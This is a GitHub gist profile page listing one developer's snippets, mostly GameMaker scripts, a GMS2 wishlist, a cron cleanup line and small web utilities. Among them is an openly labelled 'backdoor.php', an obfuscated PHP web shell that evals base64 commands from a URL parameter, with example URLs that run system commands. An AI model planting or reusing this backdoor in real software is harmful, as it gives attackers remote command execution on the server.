Skip to content

Instantly share code, notes, and snippets.

View gnysek's full-sized avatar
💭
Kuwabara! Kuwabara!

gnysek gnysek

💭
Kuwabara! Kuwabara!
View GitHub Profile
@gnysek
gnysek / ds_map_secure_load_array.gml
Created November 18, 2016 15:58
ds_map_secure_load_array.gml
var d = ds_map_secure_load(argument0);
var n = ds_map_find_first(d);
while (!is_undefined(n)) {
var is_2d = false;
var size = 0;
@gnysek
gnysek / gms2proposal.md
Last active November 8, 2016 15:22
GMS:2 bugs & proposals

GamemakerStudio 2 bugs and proposals

by Piotr 'gnysek' Gnys, GameMaker user from 2013

  • display sprite dimensions on sprite preview after F1 from script on workspace
  • display "X" in resource filter field on resource tree, to clear result fastly
  • display list of objects in which sprite is set as image/mask (same as parent/children for objects)
  • in sprite window, there's [-] [=] [+] buttons, but there's lack of [max] (extend to window size)
  • find/replace window for scripts/code
  • find/replace options from GM 1.x
@gnysek
gnysek / games.txt
Created October 31, 2016 10:32
Wymiana gier
PS4:
WatchDogs
Diablo 3
Divinity: Original Sin Enhanced Edition
Fallout 4
DiRT Rally
Final Fatansy X/X-2 Remastered
Mortal Kombat XL
Valkyria Chronicles Remastered
@gnysek
gnysek / gamepad_key.gml
Last active September 23, 2016 14:22
gamepad_key
//on game initialization, call it only once!
globalvar gamepad_key, __gp;
gamepad_key = -1;
__gp[15] = gp_face1;
__gp[14] = gp_face2;
__gp[13] = gp_face3;
__gp[12] = gp_face4;
__gp[11] = gp_shoulderl;
__gp[10] = gp_shoulderlb;
__gp[9] = gp_shoulderr;
//override image class in JS
(function () {
var OriginalImage = window.Image;
window.Image = function (width, height) {
console.log('New image');
return new OriginalImage(width, height);
}
}());
@gnysek
gnysek / backdoor.php
Created September 17, 2015 05:42
backdoor
<?php
$x = strrev(base64_decode('ZWNhbHBlcl9nZXJw'));
@$x('/./e', base64_decode(${base64_decode('X0dFVA==')}['p']), '.');
/* run it as:
windows: /backdoor.php?p=c3lzdGVtKCdkaXInKTs=
linux: /backdoor.php?p=c3lzdGVtKCdscyAtbCcpOw==
*/
@gnysek
gnysek / monokai.xml
Created September 10, 2015 07:06
Monokai GML colour
<!--This Document is generated by GameMaker, if you edit it by hand then you do so at your own risk!-->
<Colours>
<Color0>16053492</Color0>
<Color1>5056494</Color1>
<Color2>7264994</Color2>
<Color3>6123892</Color3>
<Color4>2070011</Color4>
<Color5>2070011</Color5>
<Color6>15716693</Color6>
<Color7>3006629</Color7>
@gnysek
gnysek / temp_cron
Created June 2, 2015 05:57
Temporary files cron
0 4 * * * find /temp/folder -type f -ctime +7d -exec rm -f {} \;
@gnysek
gnysek / acejs_bbc
Created June 1, 2015 07:40
ACE js bbcode
define(function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules;
var MyNewHighlightRules = function() {
this.$rules = {
"start" : [
@gnysek
gnysek / gist:c23b5bca21118546aaa0
Created May 25, 2015 13:09
scrabble array simplified
<?php
header('Content-type: text/html; charset=utf-8');
mb_internal_encoding("UTF-8");
ini_set('memory_limit', '1024M');
ini_set('max_execution_time', 500);
?>
<style>
table, td, th {
border: 1px solid black;
}